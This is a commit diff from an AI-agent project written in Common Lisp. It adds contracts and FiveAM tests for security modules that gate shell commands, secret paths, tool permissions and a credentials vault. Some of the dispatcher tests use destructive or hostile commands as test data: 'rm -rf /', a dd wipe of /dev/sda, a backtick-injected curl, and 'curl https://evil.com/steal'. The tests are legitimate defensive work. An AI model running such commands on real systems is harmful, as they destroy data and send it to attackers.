security: contracts + tests for all 5 security modules (87→123 checks)
Some checks failed
Deploy (Gitea) / deploy (push) Failing after 2s

This commit is contained in:
2026-05-05 12:08:12 -04:00
parent e5440487d4
commit ea1150f38e
12 changed files with 571 additions and 16 deletions

View File

@@ -3,7 +3,8 @@
(:export (:export
#:frame-message #:frame-message
#:read-framed-message #:read-framed-message
#:PROTO-GET #:PROTO-GET
#:proto-get
#:LIST-OBJECTS-WITH-ATTRIBUTE #:LIST-OBJECTS-WITH-ATTRIBUTE
#:COSINE-SIMILARITY #:COSINE-SIMILARITY
#:VAULT-MASK-STRING #:VAULT-MASK-STRING
@@ -79,6 +80,12 @@
#:hitl-approve #:hitl-approve
#:hitl-deny #:hitl-deny
#:hitl-handle-message #:hitl-handle-message
#:dispatcher-check-secret-path
#:dispatcher-check-shell-safety
#:dispatcher-check-privacy-tags
#:dispatcher-check-network-exfil
#:dispatcher-gate
#:wildcard-match
#:actuator-initialize #:actuator-initialize
#:dispatch-action #:dispatch-action
#:register-actuator #:register-actuator
@@ -138,9 +145,11 @@
#:get-oc-config-dir #:get-oc-config-dir
#:prompt-for #:prompt-for
#:save-secret #:save-secret
#:get-tool-permission #:get-tool-permission
#:set-tool-permission #:set-tool-permission
#:check-tool-permission-gate #:check-tool-permission-gate
#:permission-get
#:permission-set
#:cognitive-tool #:cognitive-tool
#:cognitive-tool-name #:cognitive-tool-name
#:cognitive-tool-description #:cognitive-tool-description
@@ -156,10 +165,14 @@
#:distill-prompt #:distill-prompt
#:*probabilistic-backends* #:*probabilistic-backends*
#:*provider-cascade* #:*provider-cascade*
#:vault-get-secret #:vault-get
#:vault-set-secret #:vault-set
#:vault-get-secret
#:vault-set-secret
#:memory-objects-by-attribute #:memory-objects-by-attribute
#:find-headline-missing-id)) #:find-headline-missing-id
#:policy-compliance-check
#:validator-protocol-check))
(in-package :passepartout) (in-package :passepartout)

View File

@@ -401,3 +401,49 @@ Recognized formats:
:priority 150 :priority 150
:trigger (lambda (ctx) (declare (ignore ctx)) t) :trigger (lambda (ctx) (declare (ignore ctx)) t)
:deterministic #'dispatcher-gate) :deterministic #'dispatcher-gate)
(eval-when (:compile-toplevel :load-toplevel :execute)
(ql:quickload :fiveam :silent t))
(defpackage :passepartout-security-dispatcher-tests
(:use :cl :fiveam :passepartout)
(:export #:dispatcher-suite))
(in-package :passepartout-security-dispatcher-tests)
(def-suite dispatcher-suite :description "Verification of the Bouncer Security Dispatcher")
(in-suite dispatcher-suite)
(test test-wildcard-match
"Contract 1: wildcard pattern * matches any characters."
(is (wildcard-match "*.env" ".env"))
(is (wildcard-match "*.env" "prod.env"))
(is (wildcard-match "*credential*" "my-credential-file"))
(is (wildcard-match "*.key" "id_rsa.key"))
(is (not (wildcard-match "*.env" "config.yaml"))))
(test test-check-secret-path
"Contract 2: dispatcher-check-secret-path matches protected patterns."
(is (dispatcher-check-secret-path ".env"))
(is (dispatcher-check-secret-path "id_rsa"))
(is (not (dispatcher-check-secret-path "README.org"))))
(test test-check-shell-safety
"Contract 3: dispatcher-check-shell-safety detects dangerous commands."
(is (dispatcher-check-shell-safety "rm -rf /"))
(is (dispatcher-check-shell-safety "dd if=/dev/zero of=/dev/sda"))
(is (dispatcher-check-shell-safety "curl http://example.com \`uptime\`"))
(is (not (dispatcher-check-shell-safety "echo hello world")))
(is (not (dispatcher-check-shell-safety "ls -la /tmp"))))
(test test-check-privacy-tags
"Contract 4: dispatcher-check-privacy-tags detects privacy-tagged content."
(is (dispatcher-check-privacy-tags '("@personal" ":project:")))
(is (dispatcher-check-privacy-tags '("@personal")))
(is (not (dispatcher-check-privacy-tags '(":public:" ":work:")))))
(test test-check-network-exfil
"Contract 5: dispatcher-check-network-exfil detects unwhitelisted domains."
(is (dispatcher-check-network-exfil "curl https://evil.com/steal"))
(is (not (dispatcher-check-network-exfil "curl https://api.openai.com/v1/models")))
(is (not (dispatcher-check-network-exfil "echo hello"))))

View File

@@ -1,3 +1,5 @@
(in-package :passepartout)
(defvar *permission-table* (make-hash-table :test 'equal)) (defvar *permission-table* (make-hash-table :test 'equal))
(defun permission-set (tool-name level) (defun permission-set (tool-name level)
@@ -11,3 +13,32 @@
(defskill :passepartout-security-permissions (defskill :passepartout-security-permissions
:priority 600 :priority 600
:trigger (lambda (ctx) (declare (ignore ctx)) nil)) :trigger (lambda (ctx) (declare (ignore ctx)) nil))
(eval-when (:compile-toplevel :load-toplevel :execute)
(ql:quickload :fiveam :silent t))
(defpackage :passepartout-security-permissions-tests
(:use :cl :fiveam :passepartout)
(:export #:permissions-suite))
(in-package :passepartout-security-permissions-tests)
(def-suite permissions-suite :description "Verification of Tool Permissions")
(in-suite permissions-suite)
(test test-permission-round-trip
"Contract 1: permission-set stores a level; permission-get retrieves it."
(permission-set "test-tool" :allow)
(is (eq :allow (permission-get "test-tool")))
;; Clean up
(permission-set "test-tool" nil))
(test test-permission-default
"Contract 2: unregistered tools default to :ask."
(is (eq :ask (permission-get "never-registered-tool-xyz"))))
(test test-permission-case-insensitive
"Contract 3: tool names are normalized to lowercase."
(permission-set :CapitalTool :deny)
(is (eq :deny (permission-get :capitaltool)))
(permission-set "CapitalTool" nil))

View File

@@ -1,3 +1,5 @@
(in-package :passepartout)
(defun policy-compliance-check (action context) (defun policy-compliance-check (action context)
"Enforces constitutional invariants on proposed actions." "Enforces constitutional invariants on proposed actions."
(declare (ignore context)) (declare (ignore context))
@@ -15,3 +17,34 @@
:priority 500 :priority 500
:trigger (lambda (ctx) (declare (ignore ctx)) t) :trigger (lambda (ctx) (declare (ignore ctx)) t)
:deterministic #'policy-compliance-check) :deterministic #'policy-compliance-check)
(eval-when (:compile-toplevel :load-toplevel :execute)
(ql:quickload :fiveam :silent t))
(defpackage :passepartout-security-policy-tests
(:use :cl :fiveam :passepartout)
(:export #:policy-suite))
(in-package :passepartout-security-policy-tests)
(def-suite policy-suite :description "Verification of the Constitutional Policy Layer")
(in-suite policy-suite)
(test test-policy-passes-valid-explanation
"Contract 1: action with sufficient explanation passes through unchanged."
(let* ((action '(:type :REQUEST :payload (:action :read :explanation "The user asked me to read the TODO list for today.")))
(result (policy-compliance-check action nil)))
(is (equal action result))))
(test test-policy-rejects-short-explanation
"Contract 1: action with explanation ≤10 characters is rejected with :LOG."
(let* ((action '(:type :REQUEST :payload (:action :read :explanation "hi")))
(result (policy-compliance-check action nil)))
(is (eq :LOG (getf result :type)))
(is (search "blocked" (getf (getf result :payload) :text) :test #'char-equal))))
(test test-policy-rejects-missing-explanation
"Contract 1: action without :explanation is rejected."
(let* ((action '(:type :REQUEST :payload (:action :read)))
(result (policy-compliance-check action nil)))
(is (eq :LOG (getf result :type)))))

View File

@@ -1,3 +1,5 @@
(in-package :passepartout)
(defun validator-protocol-check (msg) (defun validator-protocol-check (msg)
"Enforces structural schema compliance on protocol messages." "Enforces structural schema compliance on protocol messages."
(validate-communication-protocol-schema msg)) (validate-communication-protocol-schema msg))
@@ -11,3 +13,31 @@
(progn (validator-protocol-check action) action) (progn (validator-protocol-check action) action)
(error (c) (error (c)
(list :type :LOG :payload (list :level :error :text (format nil "Protocol Violation: ~a" c))))))) (list :type :LOG :payload (list :level :error :text (format nil "Protocol Violation: ~a" c)))))))
(eval-when (:compile-toplevel :load-toplevel :execute)
(ql:quickload :fiveam :silent t))
(defpackage :passepartout-security-validator-tests
(:use :cl :fiveam :passepartout)
(:export #:validator-suite))
(in-package :passepartout-security-validator-tests)
(def-suite validator-suite :description "Verification of the Protocol Validator")
(in-suite validator-suite)
(test test-validator-passes-valid-message
"Contract 1: a valid message passes protocol check."
(let ((msg '(:type :EVENT :payload (:sensor :heartbeat))))
(handler-case
(progn
(validator-protocol-check msg)
(pass))
(error (c)
(fail "Validator rejected a valid message: ~a" c)))))
(test test-validator-rejects-missing-type
"Contract 1: a message missing :type is rejected."
(let ((msg '(:payload (:sensor :heartbeat))))
(signals error
(validator-protocol-check msg))))

View File

@@ -1,3 +1,5 @@
(in-package :passepartout)
(defvar *vault-memory* (make-hash-table :test 'equal) (defvar *vault-memory* (make-hash-table :test 'equal)
"In-memory cache of sensitive credentials.") "In-memory cache of sensitive credentials.")
@@ -31,3 +33,54 @@
(defskill :passepartout-security-vault (defskill :passepartout-security-vault
:priority 600 :priority 600
:trigger (lambda (ctx) (declare (ignore ctx)) nil)) :trigger (lambda (ctx) (declare (ignore ctx)) nil))
(eval-when (:compile-toplevel :load-toplevel :execute)
(ql:quickload :fiveam :silent t))
(defpackage :passepartout-security-vault-tests
(:use :cl :fiveam :passepartout)
(:export #:vault-suite))
(in-package :passepartout-security-vault-tests)
(def-suite vault-suite :description "Verification of the Credentials Vault")
(in-suite vault-suite)
(test test-vault-round-trip
"Contract 1: vault-set stores a value; vault-get retrieves it."
(let ((test-key :vault-test-round-trip)
(test-secret "secret-abc123"))
(vault-set test-key test-secret)
(is (string= test-secret (vault-get test-key)))
;; Clean up
(vault-set test-key nil)))
(test test-vault-missing-key
"Contract 2: vault-get returns NIL for an unset, unknown provider."
(is (null (vault-get :nonexistent-provider-xyz))))
(test test-vault-isolation
"Contract 5: storing for provider A does not affect provider B."
(vault-set :vault-prov-a "secret-a")
(vault-set :vault-prov-b "secret-b")
(is (string= "secret-a" (vault-get :vault-prov-a)))
(is (string= "secret-b" (vault-get :vault-prov-b)))
(vault-set :vault-prov-a nil)
(vault-set :vault-prov-b nil))
(test test-vault-secret-wrappers
"Contracts 3,4: vault-get-secret and vault-set-secret use :type :secret."
(let ((test-provider :vault-secret-test))
(vault-set-secret test-provider "my-token")
(is (string= "my-token" (vault-get-secret test-provider)))
;; Clean up
(vault-set-secret test-provider nil)))
(test test-vault-type-isolation
"Contract 5: different :type values produce different keys."
(vault-set :vault-type-test "key-value" :type :api-key)
(vault-set :vault-type-test "secret-value" :type :secret)
(is (string= "key-value" (vault-get :vault-type-test :type :api-key)))
(is (string= "secret-value" (vault-get :vault-type-test :type :secret)))
(vault-set :vault-type-test nil :type :api-key)
(vault-set :vault-type-test nil :type :secret))

View File

@@ -28,7 +28,8 @@ The package definition. All public symbols are exported here.
(:export (:export
#:frame-message #:frame-message
#:read-framed-message #:read-framed-message
#:PROTO-GET #:PROTO-GET
#:proto-get
#:LIST-OBJECTS-WITH-ATTRIBUTE #:LIST-OBJECTS-WITH-ATTRIBUTE
#:COSINE-SIMILARITY #:COSINE-SIMILARITY
#:VAULT-MASK-STRING #:VAULT-MASK-STRING
@@ -104,6 +105,12 @@ The package definition. All public symbols are exported here.
#:hitl-approve #:hitl-approve
#:hitl-deny #:hitl-deny
#:hitl-handle-message #:hitl-handle-message
#:dispatcher-check-secret-path
#:dispatcher-check-shell-safety
#:dispatcher-check-privacy-tags
#:dispatcher-check-network-exfil
#:dispatcher-gate
#:wildcard-match
#:actuator-initialize #:actuator-initialize
#:dispatch-action #:dispatch-action
#:register-actuator #:register-actuator
@@ -163,9 +170,11 @@ The package definition. All public symbols are exported here.
#:get-oc-config-dir #:get-oc-config-dir
#:prompt-for #:prompt-for
#:save-secret #:save-secret
#:get-tool-permission #:get-tool-permission
#:set-tool-permission #:set-tool-permission
#:check-tool-permission-gate #:check-tool-permission-gate
#:permission-get
#:permission-set
#:cognitive-tool #:cognitive-tool
#:cognitive-tool-name #:cognitive-tool-name
#:cognitive-tool-description #:cognitive-tool-description
@@ -181,10 +190,14 @@ The package definition. All public symbols are exported here.
#:distill-prompt #:distill-prompt
#:*probabilistic-backends* #:*probabilistic-backends*
#:*provider-cascade* #:*provider-cascade*
#:vault-get-secret #:vault-get
#:vault-set-secret #:vault-set
#:vault-get-secret
#:vault-set-secret
#:memory-objects-by-attribute #:memory-objects-by-attribute
#:find-headline-missing-id)) #:find-headline-missing-id
#:policy-compliance-check
#:validator-protocol-check))
#+end_src #+end_src
** Package Implementation ** Package Implementation

View File

@@ -22,6 +22,34 @@ The Bouncer inspects nine vectors:
The Bouncer also handles the **Flight Plan** system: when a high-risk action is blocked, it creates a Flight Plan node in the Org files that the user can manually approve. The Bouncer also handles the **Flight Plan** system: when a high-risk action is blocked, it creates a Flight Plan node in the Org files that the user can manually approve.
** Contract
1. (wildcard-match pattern path): returns T if ~path~ matches ~pattern~,
where ~*~ in pattern matches any number of characters.
2. (dispatcher-check-secret-path filepath): returns the matching
protected pattern if ~filepath~ matches any entry in
~*dispatcher-protected-paths*~, nil otherwise.
3. (dispatcher-check-shell-safety cmd): returns a list of matched
dangerous-pattern names if ~cmd~ triggers any entry in
~*dispatcher-shell-blocked*~, nil if safe.
4. (dispatcher-check-privacy-tags tags-list): returns T if any tag in
~tags-list~ matches a privacy filter tag, nil otherwise.
5. (dispatcher-check-network-exfil cmd): returns T (unsafe) if ~cmd~
contains an HTTP/HTTPS/FTP URL targeting an unwhitelisted domain.
6. (dispatcher-gate action context): main deterministic gate — routes by
sensor and applies ~dispatcher-check~ for safety verification.
7. (hitl-create blocked-action): returns a plist with ~:token~ and
~:message~ for user-facing HITL approval.
8. (hitl-approve token): approves and re-injects a pending action. Returns
T if found, nil if invalid token.
9. (hitl-deny token): denies and removes a pending action. Returns T if
found, nil if invalid.
** Boundaries
- Does NOT handle the gate approval routing — that is ~core-loop-reason.org~.
- Does NOT persist HITL tokens — they live in memory only.
* Implementation * Implementation
** Package Context ** Package Context
@@ -586,4 +614,54 @@ Recognized formats:
:priority 150 :priority 150
:trigger (lambda (ctx) (declare (ignore ctx)) t) :trigger (lambda (ctx) (declare (ignore ctx)) t)
:deterministic #'dispatcher-gate) :deterministic #'dispatcher-gate)
#+end_src
* Test Suite
#+begin_src lisp
(eval-when (:compile-toplevel :load-toplevel :execute)
(ql:quickload :fiveam :silent t))
(defpackage :passepartout-security-dispatcher-tests
(:use :cl :fiveam :passepartout)
(:export #:dispatcher-suite))
(in-package :passepartout-security-dispatcher-tests)
(def-suite dispatcher-suite :description "Verification of the Bouncer Security Dispatcher")
(in-suite dispatcher-suite)
(test test-wildcard-match
"Contract 1: wildcard pattern * matches any characters."
(is (wildcard-match "*.env" ".env"))
(is (wildcard-match "*.env" "prod.env"))
(is (wildcard-match "*credential*" "my-credential-file"))
(is (wildcard-match "*.key" "id_rsa.key"))
(is (not (wildcard-match "*.env" "config.yaml"))))
(test test-check-secret-path
"Contract 2: dispatcher-check-secret-path matches protected patterns."
(is (dispatcher-check-secret-path ".env"))
(is (dispatcher-check-secret-path "id_rsa"))
(is (not (dispatcher-check-secret-path "README.org"))))
(test test-check-shell-safety
"Contract 3: dispatcher-check-shell-safety detects dangerous commands."
(is (dispatcher-check-shell-safety "rm -rf /"))
(is (dispatcher-check-shell-safety "dd if=/dev/zero of=/dev/sda"))
(is (dispatcher-check-shell-safety "curl http://example.com \`uptime\`"))
(is (not (dispatcher-check-shell-safety "echo hello world")))
(is (not (dispatcher-check-shell-safety "ls -la /tmp"))))
(test test-check-privacy-tags
"Contract 4: dispatcher-check-privacy-tags detects privacy-tagged content."
(is (dispatcher-check-privacy-tags '("@personal" ":project:")))
(is (dispatcher-check-privacy-tags '("@personal")))
(is (not (dispatcher-check-privacy-tags '(":public:" ":work:")))))
(test test-check-network-exfil
"Contract 5: dispatcher-check-network-exfil detects unwhitelisted domains."
(is (dispatcher-check-network-exfil "curl https://evil.com/steal"))
(is (not (dispatcher-check-network-exfil "curl https://api.openai.com/v1/models")))
(is (not (dispatcher-check-network-exfil "echo hello"))))
#+end_src #+end_src

View File

@@ -9,8 +9,35 @@ Every cognitive tool (file read, file write, shell execute, etc.) has a permissi
The default for any unregistered tool is ~:ask~ — cautious by default, permissive by configuration. This prevents a hallucinated tool call from executing without at least giving the user a chance to review it. The default for any unregistered tool is ~:ask~ — cautious by default, permissive by configuration. This prevents a hallucinated tool call from executing without at least giving the user a chance to review it.
* Architectural Intent
The Authorization Matrix is the lookup table that maps tool names to
permission levels. It is intentionally simple: set, get, default.
The complexity lives in the Bouncer (security-dispatcher.org), which
consults this table as one of its nine scan vectors.
** Contract
1. (permission-set tool-name level): stores ~level~ for ~tool-name~
in ~*permission-table*~. Tool names are normalized to lowercase.
2. (permission-get tool-name): returns the stored level, or ~:ask~ if
no entry exists.
3. Tool name matching is case-insensitive — ~(permission-set :FOO :allow)~
and ~(permission-get :foo)~ return ~:allow~.
** Boundaries
- Does NOT enforce permissions — the Bouncer does that.
- Does NOT persist permissions to disk — this is runtime-only.
- Does NOT validate that ~level~ is one of ~(:allow :ask :deny)~.
* Implementation * Implementation
** Package Context
#+begin_src lisp
(in-package :passepartout)
#+end_src
** Permission store (tool level) ** Permission store (tool level)
Hash table mapping tool names to their permission level. Hash table mapping tool names to their permission level.
;; REPL-VERIFIED: 2026-05-03T13:00:00 ;; REPL-VERIFIED: 2026-05-03T13:00:00
@@ -42,3 +69,36 @@ Retrieves the current permission level for a tool. Defaults to ~:ask~ if unset.
:priority 600 :priority 600
:trigger (lambda (ctx) (declare (ignore ctx)) nil)) :trigger (lambda (ctx) (declare (ignore ctx)) nil))
#+end_src #+end_src
* Test Suite
#+begin_src lisp
(eval-when (:compile-toplevel :load-toplevel :execute)
(ql:quickload :fiveam :silent t))
(defpackage :passepartout-security-permissions-tests
(:use :cl :fiveam :passepartout)
(:export #:permissions-suite))
(in-package :passepartout-security-permissions-tests)
(def-suite permissions-suite :description "Verification of Tool Permissions")
(in-suite permissions-suite)
(test test-permission-round-trip
"Contract 1: permission-set stores a level; permission-get retrieves it."
(permission-set "test-tool" :allow)
(is (eq :allow (permission-get "test-tool")))
;; Clean up
(permission-set "test-tool" nil))
(test test-permission-default
"Contract 2: unregistered tools default to :ask."
(is (eq :ask (permission-get "never-registered-tool-xyz"))))
(test test-permission-case-insensitive
"Contract 3: tool names are normalized to lowercase."
(permission-set :CapitalTool :deny)
(is (eq :deny (permission-get :capitaltool)))
(permission-set "CapitalTool" nil))
#+end_src

View File

@@ -11,8 +11,26 @@ This is the "Radical Transparency" invariant in practice. The agent must explain
The Policy skill is intentionally simple. It has one job: ensure every action has a meaningful explanation. Other security concerns (secret scanning, path blocking, network exfiltration) are handled by the Bouncer. The Policy is about values, not threats. The Policy skill is intentionally simple. It has one job: ensure every action has a meaningful explanation. Other security concerns (secret scanning, path blocking, network exfiltration) are handled by the Bouncer. The Policy is about values, not threats.
** Contract
1. (policy-compliance-check action context): if ~action~ has an
~:explanation~ string longer than 10 characters, returns the action
unchanged. Otherwise, returns a ~:LOG~ rejection plist with
~:level :warn~.
** Boundaries
- Does NOT check for dangerous content — the Bouncer does that.
- Does NOT validate explanation quality — only length and presence.
- Does NOT consider ~context~ — implementation ignores it currently.
* Implementation * Implementation
** Package Context
#+begin_src lisp
(in-package :passepartout)
#+end_src
** Policy Logic (policy-compliance-check) ** Policy Logic (policy-compliance-check)
;; REPL-VERIFIED: 2026-05-03T13:00:00 ;; REPL-VERIFIED: 2026-05-03T13:00:00
#+begin_src lisp #+begin_src lisp
@@ -37,3 +55,38 @@ The Policy skill is intentionally simple. It has one job: ensure every action ha
:trigger (lambda (ctx) (declare (ignore ctx)) t) :trigger (lambda (ctx) (declare (ignore ctx)) t)
:deterministic #'policy-compliance-check) :deterministic #'policy-compliance-check)
#+end_src #+end_src
* Test Suite
#+begin_src lisp
(eval-when (:compile-toplevel :load-toplevel :execute)
(ql:quickload :fiveam :silent t))
(defpackage :passepartout-security-policy-tests
(:use :cl :fiveam :passepartout)
(:export #:policy-suite))
(in-package :passepartout-security-policy-tests)
(def-suite policy-suite :description "Verification of the Constitutional Policy Layer")
(in-suite policy-suite)
(test test-policy-passes-valid-explanation
"Contract 1: action with sufficient explanation passes through unchanged."
(let* ((action '(:type :REQUEST :payload (:action :read :explanation "The user asked me to read the TODO list for today.")))
(result (policy-compliance-check action nil)))
(is (equal action result))))
(test test-policy-rejects-short-explanation
"Contract 1: action with explanation ≤10 characters is rejected with :LOG."
(let* ((action '(:type :REQUEST :payload (:action :read :explanation "hi")))
(result (policy-compliance-check action nil)))
(is (eq :LOG (getf result :type)))
(is (search "blocked" (getf (getf result :payload) :text) :test #'char-equal))))
(test test-policy-rejects-missing-explanation
"Contract 1: action without :explanation is rejected."
(let* ((action '(:type :REQUEST :payload (:action :read)))
(result (policy-compliance-check action nil)))
(is (eq :LOG (getf result :type)))))
#+end_src

View File

@@ -6,8 +6,34 @@
* Overview * Overview
The Protocol Validator enforces schema compliance on every message entering or leaving the cognitive pipeline. It checks that messages are valid plists, that they have the required ~:type~ and ~:payload~ fields, and that the type is one of the known types (~:REQUEST~, ~:EVENT~, ~:RESPONSE~, ~:LOG~, ~:STATUS~). This prevents malformed messages from crashing the pipeline and ensures backward compatibility when the protocol evolves. The Protocol Validator enforces schema compliance on every message entering or leaving the cognitive pipeline. It checks that messages are valid plists, that they have the required ~:type~ and ~:payload~ fields, and that the type is one of the known types (~:REQUEST~, ~:EVENT~, ~:RESPONSE~, ~:LOG~, ~:STATUS~). This prevents malformed messages from crashing the pipeline and ensures backward compatibility when the protocol evolves.
* Architectural Intent
The Protocol Validator wraps ~validate-communication-protocol-schema~
(the core communication function) in a skill-level gate. It is the first
filter every message passes through — malformed messages are rejected
before they reach any cognitive stage.
** Contract
1. (validator-protocol-check msg): returns ~msg~ if valid per
~validate-communication-protocol-schema~. Signals ~error~ on
malformed messages (caught by the skill's deterministic gate).
2. The skill's deterministic gate wraps the validator: valid actions pass
through; invalid actions produce a ~:LOG~ rejection with
~:level :error~.
** Boundaries
- Does NOT define the schema — that is ~core-communication.org~.
- Does NOT validate semantic content — that is the Bouncer and Policy.
* Implementation * Implementation
** Package Context
#+begin_src lisp
(in-package :passepartout)
#+end_src
** Validation Logic ** Validation Logic
;; REPL-VERIFIED: 2026-05-03T13:00:00 ;; REPL-VERIFIED: 2026-05-03T13:00:00
#+begin_src lisp #+begin_src lisp
@@ -28,3 +54,35 @@ The Protocol Validator enforces schema compliance on every message entering or l
(error (c) (error (c)
(list :type :LOG :payload (list :level :error :text (format nil "Protocol Violation: ~a" c))))))) (list :type :LOG :payload (list :level :error :text (format nil "Protocol Violation: ~a" c)))))))
#+end_src #+end_src
* Test Suite
#+begin_src lisp
(eval-when (:compile-toplevel :load-toplevel :execute)
(ql:quickload :fiveam :silent t))
(defpackage :passepartout-security-validator-tests
(:use :cl :fiveam :passepartout)
(:export #:validator-suite))
(in-package :passepartout-security-validator-tests)
(def-suite validator-suite :description "Verification of the Protocol Validator")
(in-suite validator-suite)
(test test-validator-passes-valid-message
"Contract 1: a valid message passes protocol check."
(let ((msg '(:type :EVENT :payload (:sensor :heartbeat))))
(handler-case
(progn
(validator-protocol-check msg)
(pass))
(error (c)
(fail "Validator rejected a valid message: ~a" c)))))
(test test-validator-rejects-missing-type
"Contract 1: a message missing :type is rejected."
(let ((msg '(:payload (:sensor :heartbeat))))
(signals error
(validator-protocol-check msg))))
#+end_src

View File

@@ -6,8 +6,42 @@
* Overview * Overview
The *Credentials Vault* provides secure in-memory storage for sensitive API keys and session tokens. The *Credentials Vault* provides secure in-memory storage for sensitive API keys and session tokens.
* Architectural Intent
The Credentials Vault isolates secrets from the rest of the system in
a dedicated hash-table. It provides simple get/set primitives with
environment-variable fallback for known providers. This is the single
place where credentials enter the system — every provider skill routes
through here.
** Contract
1. (vault-set provider secret &key type): stores secret under
~(format nil "~a-~a" provider type)~ in ~*vault-memory*~.
2. (vault-get provider &key type): returns the stored secret, or falls
back to the appropriate environment variable for known providers
(~:openai~, ~:anthropic~, ~:openrouter~, ~:gemini~). Returns NIL
if neither exists.
3. (vault-get-secret provider): wrapper — calls ~vault-get~ with
~:type :secret~.
4. (vault-set-secret provider secret): wrapper — calls ~vault-set~
with ~:type :secret~.
5. Vault isolation: storing a secret for provider A does not affect
provider B's entry. Different ~:type~ values produce different keys.
** Boundaries
- Does NOT encrypt at rest — that is the session layer's responsibility.
- Does NOT validate key format — the provider skill does that.
- Does NOT rotate or expire keys — this is a simple store.
* Implementation * Implementation
** Package Context
#+begin_src lisp
(in-package :passepartout)
#+end_src
** Vault Storage ** Vault Storage
;; REPL-VERIFIED: 2026-05-03T13:00:00 ;; REPL-VERIFIED: 2026-05-03T13:00:00
#+begin_src lisp #+begin_src lisp
@@ -41,7 +75,6 @@ The *Credentials Vault* provides secure in-memory storage for sensitive API keys
(let ((key (format nil "~a-~a" provider type))) (let ((key (format nil "~a-~a" provider type)))
(setf (gethash key *vault-memory*) secret))) (setf (gethash key *vault-memory*) secret)))
#+end_src #+end_src
#+end_src
** Secret Wrappers (gateway-messaging) ** Secret Wrappers (gateway-messaging)
@@ -62,11 +95,65 @@ Delegates to the existing =vault-get=/=vault-set= with ~:type :secret~.
"Stores a secret or token for a gateway provider." "Stores a secret or token for a gateway provider."
(vault-set provider secret :type :secret)) (vault-set provider secret :type :secret))
#+end_src #+end_src
#+end_src
** Skill Registration ** Skill Registration
#+begin_src lisp #+begin_src lisp
(defskill :passepartout-security-vault (defskill :passepartout-security-vault
:priority 600 :priority 600
:trigger (lambda (ctx) (declare (ignore ctx)) nil)) :trigger (lambda (ctx) (declare (ignore ctx)) nil))
#+end_src
* Test Suite
#+begin_src lisp
(eval-when (:compile-toplevel :load-toplevel :execute)
(ql:quickload :fiveam :silent t))
(defpackage :passepartout-security-vault-tests
(:use :cl :fiveam :passepartout)
(:export #:vault-suite))
(in-package :passepartout-security-vault-tests)
(def-suite vault-suite :description "Verification of the Credentials Vault")
(in-suite vault-suite)
(test test-vault-round-trip
"Contract 1: vault-set stores a value; vault-get retrieves it."
(let ((test-key :vault-test-round-trip)
(test-secret "secret-abc123"))
(vault-set test-key test-secret)
(is (string= test-secret (vault-get test-key)))
;; Clean up
(vault-set test-key nil)))
(test test-vault-missing-key
"Contract 2: vault-get returns NIL for an unset, unknown provider."
(is (null (vault-get :nonexistent-provider-xyz))))
(test test-vault-isolation
"Contract 5: storing for provider A does not affect provider B."
(vault-set :vault-prov-a "secret-a")
(vault-set :vault-prov-b "secret-b")
(is (string= "secret-a" (vault-get :vault-prov-a)))
(is (string= "secret-b" (vault-get :vault-prov-b)))
(vault-set :vault-prov-a nil)
(vault-set :vault-prov-b nil))
(test test-vault-secret-wrappers
"Contracts 3,4: vault-get-secret and vault-set-secret use :type :secret."
(let ((test-provider :vault-secret-test))
(vault-set-secret test-provider "my-token")
(is (string= "my-token" (vault-get-secret test-provider)))
;; Clean up
(vault-set-secret test-provider nil)))
(test test-vault-type-isolation
"Contract 5: different :type values produce different keys."
(vault-set :vault-type-test "key-value" :type :api-key)
(vault-set :vault-type-test "secret-value" :type :secret)
(is (string= "key-value" (vault-get :vault-type-test :type :api-key)))
(is (string= "secret-value" (vault-get :vault-type-test :type :secret)))
(vault-set :vault-type-test nil :type :api-key)
(vault-set :vault-type-test nil :type :secret))
#+end_src #+end_src